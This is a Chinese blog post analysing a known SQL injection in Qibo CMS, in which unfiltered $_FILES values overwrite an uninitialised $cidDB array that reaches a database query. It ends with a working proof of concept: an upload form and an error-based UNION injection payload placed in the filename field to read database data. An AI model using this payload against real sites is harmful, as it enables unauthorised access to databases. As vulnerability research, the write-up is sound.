漏洞url:http://wooyun.jozxing.cc/static/bugs/wooyun-2015-096990.html

 

 

摘要

if(!ini_get('register_globals')){

	@extract($_FILES,EXTR_SKIP);//这里是漏洞点。 

 //可以看到上面的判断条件是 判断register globals 是不是开启的。

 // 如果是关闭的 才会进入。 注意是关闭 不是开启哦。。

  // regitser globals这个不用多说 从php 4.2开始默认都是off的

 // 基本都是关闭的 曾经提交漏洞 因为需要register globals on 所以被未通过。

 //  当是off的时候 extract来把_FILES里的读取出来 用了EXTR_SKIP参数

 //  所以不能覆盖之前存在的变量 但是qibo是伪全局 所以我们可以找一个未初始化的

 //  _FILES extract出来后 还是一个数组 所以找一个把数组循环出来的

 //  因为_FILES数组里的key是我们不可控制的把, 但是一些value可以控制 例如name

}

  因为齐博的变量传入都是模拟了一个类似全局变量,只过滤了gpc,但是files没有过滤,齐博也获取了files变量,所以可以通过files绕过全局过滤,然后雨牛就找了个没有定义或初始化的变量,也就是下文中$cidDB,通过文件寻找关键字。

发现$cidDB作为数组循环他的value的值,并且带入了sql的查询,所以可以注入.

poc:

<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
<title>yzmm - p2j.cn</title>
</head>
<body>
  <form action="http://172.16.220.169/v7_gbk/member/comment.php?job=yz" method="POST" enctype="multipart/form-data">
        ID:<input type="file" name="cidDB" value="aa" style="width:250px;" / ><br/>
        <input type="submit" value="提交" />
    </form>
</body>
</html>

需要抓包,把filename的值改成22' and 1=2 union select exp(~(select * FROM(SELECT USER())a))#就能查询出数据。

 

 

posted on 2017-03-06 13:38  羊小弟  阅读(752)  评论(0编辑  收藏  举报